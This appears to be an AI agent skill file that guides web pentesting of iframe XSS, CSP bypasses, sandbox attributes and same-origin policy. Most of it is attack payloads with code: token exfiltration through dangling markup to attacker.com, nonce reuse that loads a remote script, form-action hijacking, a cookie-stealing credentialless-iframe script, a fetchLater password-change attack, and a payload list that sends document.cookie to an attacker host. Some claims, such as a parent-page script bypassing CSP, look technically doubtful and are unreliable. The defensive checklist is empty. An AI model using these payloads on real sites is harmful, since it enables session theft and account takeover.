| name | iframe-xss-csp-pentest |
| description | How to test for iframe-based XSS, CSP bypasses, and SOP violations. Use this skill whenever the user mentions iframes, cross-site scripting, content security policy, sandbox attributes, credentialless iframes, or wants to test web application security around embedded content. Trigger for any pentesting task involving iframe injection, CSP evasion, or same-origin policy testing. |
Iframe XSS, CSP & SOP Pentesting
A comprehensive guide for testing iframe-based vulnerabilities including XSS vectors, CSP bypasses, and SOP violations.
Quick Reference
python3 -m http.server 8000
Iframe XSS Vectors
Three Content Injection Methods
- URL-based
src - Load external or same-origin pages
data: protocol - Embed content directly in the URL
srcdoc attribute - Embed HTML content directly
Same-Origin Access Patterns
<script>
var secret = "parent-secret";
</script>
<iframe id="cross-origin" src="http://other-domain.com/page.html"></iframe>
<iframe id="same-origin" src="child.html"></iframe>
<iframe id="srcdoc" srcdoc="<script>var secret='srcdoc-secret';</script>"></iframe>
<iframe id="data-protocol" src="data:text/html,<script>var secret='data-secret';</script>"></iframe>
<script>
console.log(document.getElementById('same-origin').contentWindow.secret);
console.log(document.getElementById('srcdoc').contentWindow.secret);
</script>
Key insight: Only same-origin iframes can access parent/child variables. Cross-origin and data: protocol iframes are blocked by SOP.
CSP Bypass Techniques
Basic CSP Bypass via Iframe
Even with script-src 'none', iframes with URL-based src can execute scripts:
<meta http-equiv="Content-Security-Policy" content="script-src 'none'">
<iframe src="malicious.html"></iframe>
<script>
alert(document.cookie);
alert(parent.secret);
</script>
Why this works: The CSP applies to the parent document, not the iframe content. If you can upload a file to the server, you can bypass script-src 'none'.
Advanced CSP Bypasses (2023-2025)
1. Dangling Markup / Named Iframe Exfiltration
When HTML is reflected but CSP blocks scripts, use dangling iframe attributes:
<iframe name="//attacker.com/?">
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name);
Use case: Leaking CSRF tokens, session IDs, or any reflected data when script-src 'none' is enforced.
2. Nonce Reuse via Same-Origin Iframe
If you can inject same-origin HTML, read the nonce from the DOM:
const nonce = top.document.querySelector('[nonce]').getAttribute('nonce');
const script = top.document.createElement('script');
script.src = 'https://attacker.com/pwn.js';
script.nonce = nonce;
top.document.body.appendChild(script);
Requirements:
- Same-origin HTML injection point
- CSP uses nonces (not just hashes)
strict-dynamic may still allow this
3. Form-Action Hijacking
If form-action directive is missing, redirect form submissions:
<iframe src="https://attacker.com/capture.php"></iframe>
<form action="https://attacker.com/capture.php" method="POST">
</form>
Defense: Always include form-action 'self' in CSP.
Testing CSP Bypasses
Use the test server script to verify bypasses:
python3 scripts/test_csp_bypass.py
Sandbox Attribute Testing
Default Restrictions
Empty sandbox applies ALL restrictions:
<iframe sandbox="" src="page.html"></iframe>
Blocked by default:
- Script execution
- Form submission
- Top-level navigation
- Plugin usage
- Same-origin access
- Auto-play media
Granular Permissions
<iframe sandbox="allow-scripts" src="page.html"></iframe>
<iframe sandbox="allow-scripts allow-same-origin" src="page.html"></iframe>
<iframe sandbox="allow-top-navigation-by-user-activation" src="page.html"></iframe>
<iframe sandbox="allow-downloads-without-user-activation" src="page.html"></iframe>
Testing Sandbox Escapes
- Check if
allow-same-origin is present - enables parent access
- Check if
allow-scripts is present - enables JS execution
- Check if
allow-top-navigation is present - enables navigation attacks
- Test form submission if
allow-forms is present
Credentialless Iframes
What They Do
Chrome 110+ loads iframes without credentials while maintaining SOP:
<iframe src="https://victim.com/page" credentialless></iframe>
Effects:
- No cookies sent to iframe
- No localStorage/IndexedDB shared
- Same-origin scripts can still interact via DOM
- CSRF protection usually works (no auth cookies)
- Password managers disabled
Self-XSS + Credentialless Attack
<iframe id="credless" src="https://victim.com/login" credentialless>
</iframe>
<iframe id="authed" src="https://victim.com/dashboard">
</iframe>
<script>
const cookie = document.getElementById('authed').contentWindow.document.cookie;
console.log('Stolen cookie:', cookie);
</script>
Requirements:
- Self-XSS vulnerability on victim site
- User visits attacker page while logged in
- Chrome 110+ or equivalent browser
Testing Credentialless Attacks
- Check browser support (Chrome 110+, Edge, Firefox 110+)
- Look for Self-XSS vectors (user-controlled HTML in profile/settings)
- Test if multiple iframes can share DOM access
- Verify cookie partitioning behavior
fetchLater API Abuse
What It Does
Defers requests until page unload or timeout:
const req = new Request('/change-password', {
method: 'POST',
body: JSON.stringify({password: 'attacker-password'}),
credentials: 'include'
});
fetchLater(req, {activateAfter: 60000});
Attack Pattern
- Inject Self-XSS in attacker's session
- Set
fetchLater request to perform action
- Logout from attacker session
- Victim logs in with their credentials
fetchLater executes in victim's session
Requirements:
- Browser supports
fetchLater (emerging API)
- Self-XSS injection point
- Victim visits attacker page
Defense:
- CSP
connect-src controls fetchLater requests
- Feature-detect before using
SOP Considerations
Cross-Origin Communication
const iframe = document.getElementById('cross-origin-frame');
try {
console.log(iframe.contentWindow.document.cookie);
} catch (e) {
console.log('SOP blocked access:', e.message);
}
iframe.contentWindow.postMessage('hello', 'https://trusted-origin.com');
Testing SOP Violations
- Check iframe origins - Same-origin vs cross-origin
- Test parent access - Can parent read iframe content?
- Test child access - Can iframe read parent content?
- Test postMessage - Is message origin validation present?
- Check for
null origin - data: protocol iframes
Defensive Checklist
For Defenders
For Pentesters
Common Payloads
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://attacker.com/?c=`+document.cookie;})();//"></script>'></iframe>
<iframe src='data:text/html,<script defer src="data:text/javascript,alert(1)"></script>'></iframe>
<iframe name="//attacker.com/?token="></iframe>
References